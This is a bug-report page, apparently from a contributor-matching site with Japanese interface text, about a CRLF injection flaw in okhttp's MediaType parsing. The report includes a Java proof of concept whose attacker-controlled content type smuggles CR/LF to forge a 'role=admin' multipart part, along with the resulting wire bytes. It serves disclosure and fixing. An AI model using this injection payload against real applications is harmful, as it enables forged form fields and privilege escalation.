CRLF injection into multipart bodies via a quoted MediaType parameter
メンテナーはふだん 1 日以内に返信
まだ誰も着手していません。
- #9730 @waterWang による — マージされずにクローズ
評価
調査の方向性
Start in okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt, where the issue identifies the quoted-parameter regex and toString(), then trace how MultipartBody.writeOrCountBytes writes the content type. Run the relevant MediaType and multipart tests, adding coverage for CR/LF in quoted parameters. Done means such input is rejected and the multipart injection demonstrated in the issue cannot occur; a linked pull request is already present, so check its status before starting.
索引モデルが issue の本文から書いたものです。
説明
MediaType accepts CR and LF inside a quoted parameter, while MultipartBody writes that media type directly into the part header, so a content type taken from untrusted input can end the header block and append new multipart parts. The same exact string is rejected if it goes through the ordinary request-header path, so AFAICT, this is not intentional.
The regex for quoted parameters is in https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L94, which is problematic because the negated character class also matches CR and LF. toString() just returns the original string: https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L86.
MultipartBody.writeOrCountBytes then writes "Content-Type: " + contentType + CRLF:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MultipartBody.kt#L145-L150 with no validation in between.
A quick demo:
import okhttp3.Headers;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;
import okio.Buffer;
public class Poc36 {
public static void main(String[] args) throws Exception {
String attackerControlled =
"text/plain; charset=\"a\r\n"
+ "\r\n"
+ "injected part body\r\n"
+ "--BOUNDARY\r\n"
+ "Content-Disposition: form-data; name=role\r\n"
+ "\r\n"
+ "admin\r\n"
+ "--BOUNDARY--\r\n"
+ "\"";
MediaType mediaType = MediaType.parse(attackerControlled);
System.out.println("MediaType.parse accepted it : " + (mediaType != null));
try {
new Headers.Builder().add("Content-Type", mediaType.toString());
System.out.println("outer request header path : accepted");
} catch (IllegalArgumentException e) {
System.out.println("outer request header path : rejected (" + e.getMessage().split("\n")[0] + ")");
}
MultipartBody body = new MultipartBody.Builder("BOUNDARY")
.setType(MultipartBody.FORM)
.addFormDataPart("upload", "note.txt", RequestBody.create("original content".getBytes(), mediaType))
.build();
Buffer wire = new Buffer();
body.writeTo(wire);
System.out.println("\n--- bytes on the wire ---");
System.out.print(wire.readUtf8());
}
}
which results in:
MediaType.parse accepted it : true
outer request header path : rejected (Unexpected char 0x0d at 22 in Content-Type value: text/plain; charset="a)
--- bytes on the wire ---
--BOUNDARY
Content-Disposition: form-data; name="upload"; filename="note.txt"
Content-Type: text/plain; charset="a
injected part body
--BOUNDARY
Content-Disposition: form-data; name=role
admin
--BOUNDARY--
"
original content
--BOUNDARY--
So the injected/forged role=admin part is complete and well formed, and because the terminating boundary is now before the real content, the application's "real" partbody ends up in the end and gets dropped.
Looking around a bit, this seems to be the only place where CR and LF are not rejected, so the fix seems to be just to reject CR/LF in MediaType.
- 主要言語
- Kotlin
- スター
- 47.1k
- フォーク
- 9.3k
- 平均マージ
- 18時間 18分
- マージ済み PR(30日)
- 15
環境構築
このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
lysine-dev/okhttp のほかの issue
-
難易度 1/5 1時間未満 初心者へのやさしさ 85/100
lysine-dev/okhttp#9788 ·
メンテナーはふだん 1 日以内に返信
-
enhancement
難易度 2/5 1〜3時間 初心者へのやさしさ 68/100
lysine-dev/okhttp#9761 · コメント 3 件 ·
メンテナーはふだん 1 日以内に返信
-
Remove crossinline `addInterceptor` and `addNetworkInterceptor` overloads対応中かも @Amir-Golmoradi が 6 日前に担当しました。 オープンenhancement
難易度 3/5 1〜2日 初心者へのやさしさ 58/100
lysine-dev/okhttp#9779 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
HTTP/2 Data padding is not counted toward the connection flow-control window. This deadlocks connections with peers that pad.対応中かも @Amir-Golmoradi が 6 日前に担当しました。 オープンbug
難易度 3/5 1〜2日 初心者へのやさしさ 67/100
lysine-dev/okhttp#9772 · コメント 6 件 ·
メンテナーはふだん 1 日以内に返信
-
bug
難易度 2/5 1〜3時間 初心者へのやさしさ 55/100
lysine-dev/okhttp#9760 · コメント 3 件 ·
メンテナーはふだん 1 日以内に返信
lysine-dev/okhttp の issue をすべて見る
似ている issue
-
難易度 1/5 1時間未満 初心者へのやさしさ 88/100
-
難易度 1/5 1時間未満 初心者へのやさしさ 90/100
-
難易度 1/5 1時間未満 初心者へのやさしさ 88/100
SLNE-Development/surf-chat#134 ·
-
難易度 1/5 1時間未満 初心者へのやさしさ 88/100
-
難易度 1/5 1時間未満 初心者へのやさしさ 90/100